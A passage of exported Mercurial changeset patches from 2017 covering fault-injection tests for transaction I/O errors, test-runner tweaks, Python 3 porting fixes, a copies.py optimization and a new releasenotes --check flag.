+  >         txnclose = msg == 'warn during txnclose\n'
+  >         txnabort = msg == 'warn during abort\n'
+  >         msgabort = msg == _('transaction abort!\n')
+  >         msgrollback = msg == _('rollback completed\n')
+  > 
+  >         if pretxncommit and 'pretxncommit' in errors:
+  >             raise IOError(errno.EPIPE, 'simulated epipe')
+  >         if pretxnclose and 'pretxnclose' in errors:
+  >             raise IOError(errno.EIO, 'simulated eio')
+  >         if txnclose and 'txnclose' in errors:
+  >             raise IOError(errno.EBADF, 'simulated badf')
+  >         if txnabort and 'txnabort' in errors:
+  >             raise IOError(errno.EPIPE, 'simulated epipe')
+  >         if msgabort and 'msgabort' in errors:
+  >             raise IOError(errno.EBADF, 'simulated ebadf')
+  >         if msgrollback and 'msgrollback' in errors:
+  >             raise IOError(errno.EIO, 'simulated eio')
+  > 
+  >         return self._o.write(msg)
+  > 
+  > def uisetup(ui):
+  >     class badui(ui.__class__):
+  >         def write_err(self, *args, **kwargs):
+  >             olderr = self.ferr
+  >             try:
+  >                 self.ferr = fdproxy(self, olderr)
+  >                 return super(badui, self).write_err(*args, **kwargs)
+  >             finally:
+  >                 self.ferr = olderr
+  > 
+  >     ui.__class__ = badui
+  > 
+  > def reposetup(ui, repo):
+  >     ui.setconfig('hooks', 'pretxnclose.badui', pretxnclose, 'badui')
+  >     ui.setconfig('hooks', 'txnclose.badui', txnclose, 'badui')
+  >     ui.setconfig('hooks', 'pretxncommit.badui', pretxncommit, 'badui')
+  >     ui.setconfig('hooks', 'txnabort.badui', txnabort, 'badui')
+  > EOF
+
+  $ cat >> $HGRCPATH << EOF
+  > [extensions]
+  > badui = $TESTTMP/badui.py
+  > EOF
+
+An I/O error during pretxncommit is handled
+
+  $ hg init ioerror-pretxncommit
+  $ cd ioerror-pretxncommit
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+  $ echo 1 > foo
+  $ hg --config ui.ioerrors=pretxncommit commit -m 'error during pretxncommit'
+  warn during pretxnclose
+  warn during txnclose
+
+  $ hg commit -m 'commit 1'
+  nothing changed
+  [1]
+
+  $ cd ..
+
+An I/O error during pretxnclose is handled
+
+  $ hg init ioerror-pretxnclose
+  $ cd ioerror-pretxnclose
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ echo 1 > foo
+  $ hg --config ui.ioerrors=pretxnclose commit -m 'error during pretxnclose'
+  warn during pretxncommit
+  warn during txnclose
+
+  $ hg commit -m 'commit 1'
+  nothing changed
+  [1]
+
+  $ cd ..
+
+An I/O error during txnclose is handled
+
+  $ hg init ioerror-txnclose
+  $ cd ioerror-txnclose
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ echo 1 > foo
+  $ hg --config ui.ioerrors=txnclose commit -m 'error during txnclose'
+  warn during pretxncommit
+  warn during pretxnclose
+
+  $ hg commit -m 'commit 1'
+  nothing changed
+  [1]
+
+  $ cd ..
+
+An I/O error writing "transaction abort" is handled
+
+  $ hg init ioerror-msgabort
+  $ cd ioerror-msgabort
+
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ echo 1 > foo
+  $ hg --config ui.ioerrors=msgabort --config hooks.pretxncommit=false commit -m 'error during abort message'
+  warn during abort
+  rollback completed
+  abort: pretxncommit hook exited with status 1
+  [255]
+
+  $ hg commit -m 'commit 1'
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ cd ..
+
+An I/O error during txnabort should still result in rollback
+
+  $ hg init ioerror-txnabort
+  $ cd ioerror-txnabort
+
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ echo 1 > foo
+  $ hg --config ui.ioerrors=txnabort --config hooks.pretxncommit=false commit -m 'error during abort'
+  transaction abort!
+  rollback completed
+  abort: pretxncommit hook exited with status 1
+  [255]
+
+  $ hg commit -m 'commit 1'
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ cd ..
+
+An I/O error writing "rollback completed" is handled
+
+  $ hg init ioerror-msgrollback
+  $ cd ioerror-msgrollback
+
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ echo 1 > foo
+
+  $ hg --config ui.ioerrors=msgrollback --config hooks.pretxncommit=false commit -m 'error during rollback message'
+  transaction abort!
+  warn during abort
+  abort: pretxncommit hook exited with status 1
+  [255]
+
+  $ hg verify
+  checking changesets
+  checking manifests
+  crosschecking files in changesets and manifests
+  checking files
+  1 files, 1 changesets, 1 total revisions
+
+  $ cd ..
+
+Multiple I/O errors after transaction open are handled.
+This is effectively what happens if a peer disconnects in the middle
+of a transaction.
+
+  $ hg init ioerror-multiple
+  $ cd ioerror-multiple
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ echo 1 > foo
+
+  $ hg --config ui.ioerrors=pretxncommit,pretxnclose,txnclose,txnabort,msgabort,msgrollback commit -m 'multiple errors'
+
+  $ hg verify
+  checking changesets
+  checking manifests
+  crosschecking files in changesets and manifests
+  checking files
+  1 files, 2 changesets, 2 total revisions
+
+  $ cd ..
diff --git a/tests/test-tags.t b/tests/test-tags.t
--- a/tests/test-tags.t
+++ b/tests/test-tags.t
@@ -381,7 +381,7 @@
 
   $ hg blackbox -l 6
   1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> tags
-  1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> couldn't write cache/hgtagsfnodes1: [Errno 13] Permission denied: '$TESTTMP/t2/.hg/cache/hgtagsfnodes1'
+  1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> couldn't write cache/hgtagsfnodes1: [Errno *] * (glob)
   1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> 2/3 cache hits/lookups in * seconds (glob)
   1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> writing .hg/cache/tags2-visible with 1 tags
   1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> tags exited 0 after * seconds (glob)
# HG changeset patch
# User Matthieu Laneuville <matthieu.laneuville@octobus.net>
# Date 1503392400 -7200
#      Tue Aug 22 11:00:00 2017 +0200
# Node ID 4e8a46c25facaebca476634d52dd78431d3143e8
# Parent  af20468eb0a499c094dbd6e27ffcacf54cf5a8e6
run-tests: pre instantiate pygments objects

Pre instantiate pygments objects to minimize overhead (cf. 20436925e080)

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -136,6 +136,9 @@
             ]
         }
 
+    runnerformatter = formatters.Terminal256Formatter(style=TestRunnerStyle)
+    runnerlexer = TestRunnerLexer()
+
 if sys.version_info > (3, 5, 0):
     PYTHON3 = True
     xrange = range # we use xrange in one place, and we'd rather not use range
@@ -1637,9 +1640,8 @@
                         if self.color:
                             formatted = pygments.highlight(
                                 formatted,
-                                TestRunnerLexer(),
-                                formatters.Terminal256Formatter(
-                                            style=TestRunnerStyle))
+                                runnerlexer,
+                                runnerformatter)
                         self.stream.write(formatted)
                     self.stream.write('!')
 
@@ -2046,18 +2048,16 @@
                     if result.color:
                         formatted = pygments.highlight(
                             formatted,
-                            TestRunnerLexer(),
-                            formatters.Terminal256Formatter(
-                                            style=TestRunnerStyle)).strip("\n")
+                            runnerlexer,
+                            runnerformatter).strip("\n")
                     self.stream.writeln(formatted)
             for test, msg in result.failures:
                 formatted = 'Failed %s: %s' % (test.name, msg)
                 if result.color:
                     formatted = pygments.highlight(
                         formatted,
-                        TestRunnerLexer(),
-                        formatters.Terminal256Formatter(
-                                        style=TestRunnerStyle)).strip("\n")
+                        runnerlexer,
+                        runnerformatter).strip("\n")
                 self.stream.writeln(formatted)
             for test, msg in result.errors:
                 self.stream.writeln('Errored %s: %s' % (test.name, msg))
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1503109413 -32400
#      Sat Aug 19 11:23:33 2017 +0900
# Node ID 252fb66ee5bbfab6dcd63f2fc1b75aa9eb33fd4d
# Parent  4e8a46c25facaebca476634d52dd78431d3143e8
copies: use intersectmatchers() in non-merge p1 optimization

This enables the optimization introduced by d4247c306d82 for non-rebase cases.
Before, the match couldn't be narrowed if it was e.g. alwaysmatcher.

The logic is copied from bd56bea5ecf8.

diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -10,6 +10,7 @@
 import heapq
 
 from . import (
+    match as matchmod,
     node,
     pathutil,
     scmutil,
@@ -182,8 +183,9 @@
     # optimization, since the ctx.files() for a merge commit is not correct for
     # this comparison.
     forwardmissingmatch = match
-    if not match and b.p1() == a and b.p2().node() == node.nullid:
-        forwardmissingmatch = scmutil.matchfiles(a._repo, b.files())
+    if b.p1() == a and b.p2().node() == node.nullid:
+        filesmatcher = scmutil.matchfiles(a._repo, b.files())
+        forwardmissingmatch = matchmod.intersectmatchers(match, filesmatcher)
     missing = _computeforwardmissing(a, b, match=forwardmissingmatch)
 
     ancestrycontext = a._repo.changelog.ancestors([b.rev()], inclusive=True)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503251705 25200
#      Sun Aug 20 10:55:05 2017 -0700
# Node ID 63773d7497b6a0245ef4156e0d12a6d751ec368b
# Parent  252fb66ee5bbfab6dcd63f2fc1b75aa9eb33fd4d
test-revset: make it work with chg

chg currently triggers `reposetup` as a side effect of `hg serve` command.
Therefore change the test to not output during `reposetup` to be compatible
with chg.

Differential Revision: https://phab.mercurial-scm.org/D455

diff --git a/tests/test-revset.t b/tests/test-revset.t
--- a/tests/test-revset.t
+++ b/tests/test-revset.t
@@ -4437,14 +4437,17 @@
 Test repo.anyrevs with customized revset overrides
 
   $ cat > $TESTTMP/printprevset.py <<EOF
-  > from mercurial import encoding
-  > def reposetup(ui, repo):
+  > from mercurial import encoding, registrar
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('printprevset')
+  > def printprevset(ui, repo):
   >     alias = {}
   >     p = encoding.environ.get('P')
   >     if p:
   >         alias['P'] = p
   >     revs = repo.anyrevs(['P'], user=True, localalias=alias)
-  >     ui.write('P=%r' % list(revs))
+  >     ui.write('P=%r\n' % list(revs))
   > EOF
 
   $ cat >> .hg/hgrc <<EOF
@@ -4452,9 +4455,9 @@
   > printprevset = $TESTTMP/printprevset.py
   > EOF
 
-  $ hg --config revsetalias.P=1 log -r . -T '\n'
+  $ hg --config revsetalias.P=1 printprevset
   P=[1]
-  $ P=3 hg --config revsetalias.P=2 log -r . -T '\n'
+  $ P=3 hg --config revsetalias.P=2 printprevset
   P=[3]
 
   $ cd ..
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1503378831 25200
#      Mon Aug 21 22:13:51 2017 -0700
# Node ID 5f3845b4ca15b34b68bcdbe552f3b76600a85756
# Parent  63773d7497b6a0245ef4156e0d12a6d751ec368b
run-tests: also highlight .py test files in summary messages

With the .t files highlighted, it's very easy to not even notice
failed .py tests.

Differential Revision: https://phab.mercurial-scm.org/D471

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -127,11 +127,11 @@
                 (r'^ERROR: ', token.Generic.Failed, 'failed'),
             ],
             'skipped': [
-                (r'[\w-]+\.t', token.Generic.SName),
+                (r'[\w-]+\.(t|py)', token.Generic.SName),
                 (r':.*', token.Generic.Skipped),
             ],
             'failed': [
-                (r'[\w-]+\.t', token.Generic.FName),
+                (r'[\w-]+\.(t|py)', token.Generic.FName),
                 (r'(:| ).*', token.Generic.Failed),
             ]
         }
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1503421287 25200
#      Tue Aug 22 10:01:27 2017 -0700
# Node ID aa81c7a617ddd6f3f9a8b9a75a72476d857ee983
# Parent  5f3845b4ca15b34b68bcdbe552f3b76600a85756
run-tests: remove unused pygments token type

Differential Revision: https://phab.mercurial-scm.org/D478

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -109,7 +109,6 @@
         default_style = ""
         skipped = token.string_to_tokentype("Token.Generic.Skipped")
         failed = token.string_to_tokentype("Token.Generic.Failed")
-        error = token.string_to_tokentype("Token.Generic.Error")
         skippedname = token.string_to_tokentype("Token.Generic.SName")
         failedname = token.string_to_tokentype("Token.Generic.FName")
         styles = {
# HG changeset patch
# User Alex Gaynor <alex.gaynor@gmail.com>
# Date 1503450489 0
#      Wed Aug 23 01:08:09 2017 +0000
# Node ID 9e8b01d0654f10e074bc0e673217b1cde2bf99a5
# Parent  aa81c7a617ddd6f3f9a8b9a75a72476d857ee983
tests: fixed a bytes/unicode confusion in the test runner

Differential Revision: https://phab.mercurial-scm.org/D483

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -1459,7 +1459,7 @@
                         if not el.endswith(b" (?)\n"):
                             m = optline.match(el)
                             if m:
-                                conditions = [c for c in m.group(2).split(' ')]
+                                conditions = [c for c in m.group(2).split(b' ')]
 
                                 if self._hghave(conditions)[0]:
                                     # Don't append as optional line
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503421131 14400
#      Tue Aug 22 12:58:51 2017 -0400
# Node ID 5d9890d8ca77beec0654f80dd726fcbdb4ae9d91
# Parent  9e8b01d0654f10e074bc0e673217b1cde2bf99a5
undumprevlog: update to valid Python 3 syntax

I didn't do anything to ensure correctness here, just enough to avoid
tracebacks in the import checker, which uses the native ast module to
try and parse all our Python files.

diff --git a/contrib/undumprevlog b/contrib/undumprevlog
--- a/contrib/undumprevlog
+++ b/contrib/undumprevlog
@@ -3,7 +3,7 @@
 # $ hg init
 # $ undumprevlog < repo.dump
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import sys
 from mercurial import (
@@ -27,7 +27,7 @@
     if l.startswith("file:"):
         f = l[6:-1]
         r = revlog.revlog(opener, f)
-        print f
+        print(f)
     elif l.startswith("node:"):
         n = node.bin(l[6:-1])
     elif l.startswith("linkrev:"):
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503428230 14400
#      Tue Aug 22 14:57:10 2017 -0400
# Node ID 904bc1dc2694d0d3ab9dfd2b9200fd8f2b461f8a
# Parent  5d9890d8ca77beec0654f80dd726fcbdb4ae9d91
md5sum: assume hashlib exists now that we're 2.7 only

diff --git a/tests/md5sum.py b/tests/md5sum.py
--- a/tests/md5sum.py
+++ b/tests/md5sum.py
@@ -8,17 +8,11 @@
 
 from __future__ import absolute_import
 
+import hashlib
 import os
 import sys
 
 try:
-    import hashlib
-    md5 = hashlib.md5
-except ImportError:
-    import md5
-    md5 = md5.md5
-
-try:
     import msvcrt
     msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)
     msvcrt.setmode(sys.stderr.fileno(), os.O_BINARY)
@@ -32,7 +26,7 @@
         sys.stderr.write('%s: Can\'t open: %s\n' % (filename, msg))
         sys.exit(1)
 
-    m = md5()
+    m = hashlib.md5()
     try:
         for data in iter(lambda: fp.read(8192), b''):
             m.update(data)
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503428272 14400
#      Tue Aug 22 14:57:52 2017 -0400
# Node ID 3b1add64123238c162ff87710ec7000854a4b3d6
# Parent  904bc1dc2694d0d3ab9dfd2b9200fd8f2b461f8a
tests: update test-archive to always use hashlib

We don't need the fallback to the old modules anymore.

diff --git a/tests/test-archive.t b/tests/test-archive.t
--- a/tests/test-archive.t
+++ b/tests/test-archive.t
@@ -211,15 +211,12 @@
   > done
 
   $ cat > md5comp.py <<EOF
-  > from __future__ import print_function
-  > try:
-  >     from hashlib import md5
-  > except ImportError:
-  >     from md5 import md5
+  > from __future__ import absolute_import, print_function
+  > import hashlib
   > import sys
   > f1, f2 = sys.argv[1:3]
-  > h1 = md5(open(f1, 'rb').read()).hexdigest()
-  > h2 = md5(open(f2, 'rb').read()).hexdigest()
+  > h1 = hashlib.md5(open(f1, 'rb').read()).hexdigest()
+  > h2 = hashlib.md5(open(f2, 'rb').read()).hexdigest()
   > print(h1 == h2 or "md5 differ: " + repr((h1, h2)))
   > EOF
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503428707 14400
#      Tue Aug 22 15:05:07 2017 -0400
# Node ID 1378c971ec5d766af7a27c25a81f2f4af10b3762
# Parent  3b1add64123238c162ff87710ec7000854a4b3d6
tests: stop using old except syntax in test-bundle2-format

diff --git a/tests/test-bundle2-format.t b/tests/test-bundle2-format.t
--- a/tests/test-bundle2-format.t
+++ b/tests/test-bundle2-format.t
@@ -89,7 +89,7 @@
   >         p = p.split('=', 1)
   >         try:
   >             bundler.addparam(*p)
-  >         except ValueError, exc:
+  >         except ValueError as exc:
   >             raise error.Abort('%s' % exc)
   > 
   >     if opts['compress']:
@@ -164,7 +164,7 @@
   >     try:
   >         for chunk in bundler.getchunks():
   >             file.write(chunk)
-  >     except RuntimeError, exc:
+  >     except RuntimeError as exc:
   >         raise error.Abort(exc)
   >     finally:
   >         file.flush()
@@ -180,9 +180,9 @@
   >             unbundler = bundle2.getunbundler(ui, sys.stdin)
   >             op = bundle2.processbundle(repo, unbundler, lambda: tr)
   >             tr.close()
-  >         except error.BundleValueError, exc:
+  >         except error.BundleValueError as exc:
   >             raise error.Abort('missing support for %s' % exc)
-  >         except error.PushRaced, exc:
+  >         except error.PushRaced as exc:
   >             raise error.Abort('push race: %s' % exc)
   >     finally:
   >         if tr is not None:
@@ -206,7 +206,7 @@
   >     unbundler = bundle2.getunbundler(ui, sys.stdin)
   >     try:
   >         params = unbundler.params
-  >     except error.BundleValueError, exc:
+  >     except error.BundleValueError as exc:
   >        raise error.Abort('unknown parameters: %s' % exc)
   >     ui.write('options count: %i\n' % len(params))
   >     for key in sorted(params):
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503413909 14400
#      Tue Aug 22 10:58:29 2017 -0400
# Node ID 998fad4b30720349d458d69a7490705feaa1598f
# Parent  1378c971ec5d766af7a27c25a81f2f4af10b3762
contrib: work around some modules not existing on Py3 in import checker

diff --git a/contrib/import-checker.py b/contrib/import-checker.py
--- a/contrib/import-checker.py
+++ b/contrib/import-checker.py
@@ -12,7 +12,10 @@
 # to work when run from a virtualenv.  The modules were chosen empirically
 # so that the return value matches the return value without virtualenv.
 if True: # disable lexical sorting checks
-    import BaseHTTPServer
+    try:
+        import BaseHTTPServer as basehttpserver
+    except ImportError:
+        basehttpserver = None
     import zlib
 
 # Whitelist of modules that symbols can be directly imported from.
@@ -183,8 +186,9 @@
 def list_stdlib_modules():
     """List the modules present in the stdlib.
 
+    >>> py3 = sys.version_info[0] >= 3
     >>> mods = set(list_stdlib_modules())
-    >>> 'BaseHTTPServer' in mods
+    >>> 'BaseHTTPServer' in mods or py3
     True
 
     os.path isn't really a module, so it's missing:
@@ -201,7 +205,7 @@
     >>> 'collections' in mods
     True
 
-    >>> 'cStringIO' in mods
+    >>> 'cStringIO' in mods or py3
     True
 
     >>> 'cffi' in mods
@@ -223,7 +227,9 @@
     stdlib_prefixes = {sys.prefix, sys.exec_prefix}
     # We need to supplement the list of prefixes for the search to work
     # when run from within a virtualenv.
-    for mod in (BaseHTTPServer, zlib):
+    for mod in (basehttpserver, zlib):
+        if mod is None:
+            continue
         try:
             # Not all module objects have a __file__ attribute.
             filename = mod.__file__
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503421108 14400
#      Tue Aug 22 12:58:28 2017 -0400
# Node ID bcf53149ebce51dec0a4d29d5241dc5514582c15
# Parent  998fad4b30720349d458d69a7490705feaa1598f
contrib: make import checker always think in terms of bytes

The doctests now do some regrettable things, but they'll always work
since we're dealing with ASCII module names etc.

diff --git a/contrib/import-checker.py b/contrib/import-checker.py
--- a/contrib/import-checker.py
+++ b/contrib/import-checker.py
@@ -616,22 +616,26 @@
 def embedded(f, modname, src):
     """Extract embedded python code
 
+    >>> def _forcestr(thing):
+    ...     if not isinstance(thing, str):
+    ...         return thing.decode('ascii')
+    ...     return thing
     >>> def test(fn, lines):
-    ...     for s, m, f, l in embedded(fn, "example", lines):
-    ...         print("%s %s %s" % (m, f, l))
-    ...         print(repr(s))
+    ...     for s, m, f, l in embedded(fn, b"example", lines):
+    ...         print("%s %s %d" % (_forcestr(m), _forcestr(f), l))
+    ...         print(repr(_forcestr(s)))
     >>> lines = [
-    ...   'comment',
-    ...   '  >>> from __future__ import print_function',
-    ...   "  >>> ' multiline",
-    ...   "  ... string'",
-    ...   '  ',
-    ...   'comment',
-    ...   '  $ cat > foo.py <<EOF',
-    ...   '  > from __future__ import print_function',
-    ...   '  > EOF',
+    ...   b'comment',
+    ...   b'  >>> from __future__ import print_function',
+    ...   b"  >>> ' multiline",
+    ...   b"  ... string'",
+    ...   b'  ',
+    ...   b'comment',
+    ...   b'  $ cat > foo.py <<EOF',
+    ...   b'  > from __future__ import print_function',
+    ...   b'  > EOF',
     ... ]
-    >>> test("example.t", lines)
+    >>> test(b"example.t", lines)
     example[2] doctest.py 2
     "from __future__ import print_function\\n' multiline\\nstring'\\n"
     example[7] foo.py 7
@@ -653,16 +657,16 @@
             if not inlinepython:
                 # We've just entered a Python block.
                 inlinepython = n
-                t = 'doctest.py'
+                t = b'doctest.py'
             script.append(l[prefix:])
             continue
         if l.startswith(b'  ... '): # python inlines
             script.append(l[prefix:])
             continue
-        cat = re.search(r"\$ \s*cat\s*>\s*(\S+\.py)\s*<<\s*EOF", l)
+        cat = re.search(br"\$ \s*cat\s*>\s*(\S+\.py)\s*<<\s*EOF", l)
         if cat:
             if inlinepython:
-                yield ''.join(script), ("%s[%d]" %
+                yield b''.join(script), (b"%s[%d]" %
                        (modname, inlinepython)), t, inlinepython
                 script = []
                 inlinepython = 0
@@ -671,7 +675,7 @@
             continue
         if shpython and l.startswith(b'  > '): # sh continuation
             if l == b'  > EOF\n':
-                yield ''.join(script), ("%s[%d]" %
+                yield b''.join(script), (b"%s[%d]" %
                        (modname, shpython)), t, shpython
                 script = []
                 shpython = 0
@@ -679,7 +683,7 @@
                 script.append(l[4:])
             continue
         if inlinepython and l == b'  \n':
-            yield ''.join(script), ("%s[%d]" %
+            yield b''.join(script), (b"%s[%d]" %
                    (modname, inlinepython)), t, inlinepython
             script = []
             inlinepython = 0
@@ -697,11 +701,11 @@
     """
     py = False
     if not f.endswith('.t'):
-        with open(f) as src:
+        with open(f, 'rb') as src:
             yield src.read(), modname, f, 0
             py = True
     if py or f.endswith('.t'):
-        with open(f) as src:
+        with open(f, 'rb') as src:
             for script, modname, t, line in embedded(f, modname, src):
                 yield script, modname, t, line
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503414046 14400
#      Tue Aug 22 11:00:46 2017 -0400
# Node ID c90014d5cdc35709b21c75b0c619e6b6122ae3c9
# Parent  bcf53149ebce51dec0a4d29d5241dc5514582c15
python3: whitelist test-imports-checker.t, which now passes

diff --git a/contrib/python3-whitelist b/contrib/python3-whitelist
--- a/contrib/python3-whitelist
+++ b/contrib/python3-whitelist
@@ -20,6 +20,7 @@
 test-empty.t
 test-excessive-merge.t
 test-hghave.t
+test-imports-checker.t
 test-issue1089.t
 test-issue1993.t
 test-issue842.t
# HG changeset patch
# User Gábor Stefanik <gabor.stefanik@nng.com>
# Date 1503410911 -7200
#      Tue Aug 22 16:08:31 2017 +0200
# Node ID 169baf3d1d3c66e97463eb2213b614ac0316306e
# Parent  c90014d5cdc35709b21c75b0c619e6b6122ae3c9
copies: fix typo in comment

"will not be limited" was meant to be "will not be visited". I missed this
when writing the original graft-through-rename patch series.

diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -637,8 +637,8 @@
     limit = the rev number to not search beyond
     data = dictionary of dictionary to store copy data. (see mergecopies)
 
-    note: limit is only an optimization, and there is no guarantee that
-    irrelevant revisions will not be limited
+    note: limit is only an optimization, and provides no guarantee that
+    irrelevant revisions will not be visited
     there is no easy way to make this algorithm stop in a guaranteed way
     once it "goes behind a certain revision".
     """
# HG changeset patch
# User Gábor Stefanik <gabor.stefanik@nng.com>
# Date 1503411399 -7200
#      Tue Aug 22 16:16:39 2017 +0200
# Node ID edf503e5dfd408f900f3bad0a6923573813e276b
# Parent  169baf3d1d3c66e97463eb2213b614ac0316306e
copies: fix misaligned lines

diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -381,7 +381,7 @@
     # if we have a dirty endpoint, we need to trigger graft logic, and also
     # keep track of which endpoint is dirty
     dirtyc1 = not (base == _c1 or base.descendant(_c1))
-    dirtyc2 = not (base== _c2 or base.descendant(_c2))
+    dirtyc2 = not (base == _c2 or base.descendant(_c2))
     graft = dirtyc1 or dirtyc2
     tca = base
     if graft:
# HG changeset patch
# User Rishabh Madan <rishabhmadan96@gmail.com>
# Date 1502634525 -19800
#      Sun Aug 13 19:58:45 2017 +0530
# Node ID 6a49c74b1e8f4a1949cfd44562c83b2160ff942d
# Parent  edf503e5dfd408f900f3bad0a6923573813e276b
releasenotes: add check flag for use of admonitions and its validity

While using releasenotes extension, we will be using admonitions in commit messages.
The check (-c) flag will look for an admonition within the message. If it exists, it will
verify if it is stated under default or custom admonition. The check fails if the
admonition is not present in any of them. It also suggests similar admonitions
in case the admonition is invalid.

Differential Revision: https://phab.mercurial-scm.org/D368

diff --git a/hgext/releasenotes.py b/hgext/releasenotes.py
--- a/hgext/releasenotes.py
+++ b/hgext/releasenotes.py
@@ -13,6 +13,7 @@
 
 from __future__ import absolute_import
 
+import difflib
 import errno
 import re
 import sys
@@ -242,6 +243,38 @@
         read('.hgreleasenotes')
     return p['sections']
 
+def checkadmonitions(ui, repo, directives, revs):
+    """
+    Checks the commit messages for admonitions and their validity.
+
+    .. abcd::
+
+       First paragraph under this admonition
+
+    For this commit message, using `hg releasenotes -r . --check`
+    returns: Invalid admonition 'abcd' present in changeset 3ea92981e103
+
+    As admonition 'abcd' is neither present in default nor custom admonitions
+    """
+    for rev in revs:
+        ctx = repo[rev]
+        admonition = re.search(RE_DIRECTIVE, ctx.description())
+        if admonition:
+            if admonition.group(1) in directives:
+                continue
+            else:
+                ui.write(_("Invalid admonition '%s' present in changeset %s"
+                           "\n") % (admonition.group(1), ctx.hex()[:12]))
+                sim = lambda x: difflib.SequenceMatcher(None,
+                    admonition.group(1), x).ratio()
+
+                similar = [s for s in directives if sim(s) > 0.6]
+                if len(similar) == 1:
+                    ui.write(_("(did you mean %s?)\n") % similar[0])
+                elif similar:
+                    ss = ", ".join(sorted(similar))
+                    ui.write(_("(did you mean one of %s?)\n") % ss)
+
 def parsenotesfromrevisions(repo, directives, revs):
     notes = parsedreleasenotes()
 
@@ -432,9 +465,11 @@
     return '\n'.join(lines)
 
 @command('releasenotes',
-    [('r', 'rev', '', _('revisions to process for release notes'), _('REV'))],
-    _('[-r REV] FILE'))
-def releasenotes(ui, repo, file_, rev=None):
+    [('r', 'rev', '', _('revisions to process for release notes'), _('REV')),
+    ('c', 'check', False, _('checks for validity of admonitions (if any)'),
+        _('REV'))],
+    _('hg releasenotes [-r REV] [-c] FILE'))
+def releasenotes(ui, repo, file_=None, **opts):
     """parse release notes from commit messages into an output file
 
     Given an output file and set of revisions, this command will parse commit
@@ -511,8 +546,12 @@
     release note after it has been added to the release notes file.
     """
     sections = releasenotessections(ui, repo)
+    rev = opts.get('rev')
 
     revs = scmutil.revrange(repo, [rev or 'not public()'])
+    if opts.get('check'):
+        return checkadmonitions(ui, repo, sections.names(), revs)
+
     incoming = parsenotesfromrevisions(repo, sections.names(), revs)
 
     try:
diff --git a/tests/test-releasenotes-formatting.t b/tests/test-releasenotes-formatting.t
--- a/tests/test-releasenotes-formatting.t
+++ b/tests/test-releasenotes-formatting.t
@@ -378,3 +378,32 @@
   
   * Adds a new feature.
 
+  $ cd ..
+
+Testing output for the --check (-c) flag
+
+  $ hg init check-flag
+  $ cd check-flag
+
+  $ touch a
+  $ hg -q commit -A -l - << EOF
+  > .. asf::
+  > 
+  >    First paragraph under this admonition.
+  > EOF
+
+Suggest similar admonition in place of the invalid one.
+
+  $ hg releasenotes -r . -c
+  Invalid admonition 'asf' present in changeset 4026fe9e1c20
+
+  $ touch b
+  $ hg -q commit -A -l - << EOF
+  > .. fixes::
+  > 
+  >    First paragraph under this admonition.
+  > EOF
+
+  $ hg releasenotes -r . -c
+  Invalid admonition 'fixes' present in changeset 0e7130d2705c
+  (did you mean fix?)
# HG changeset patch
# User Alex Gaynor <alex.gaynor@gmail.com>
# Date 1503450548 0
#      Wed Aug 23 01:09:08 2017 +0000
# Node ID 8d75b9effa070362969d1f9acd3ac1c5948d8b76
# Parent  6a49c74b1e8f4a1949cfd44562c83b2160ff942d
bundle2: fixed usage of an attribute that was removed in py3k

Differential Revision: https://phab.mercurial-scm.org/D482

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -587,7 +587,7 @@
         """add a stream level parameter"""
         if not name:
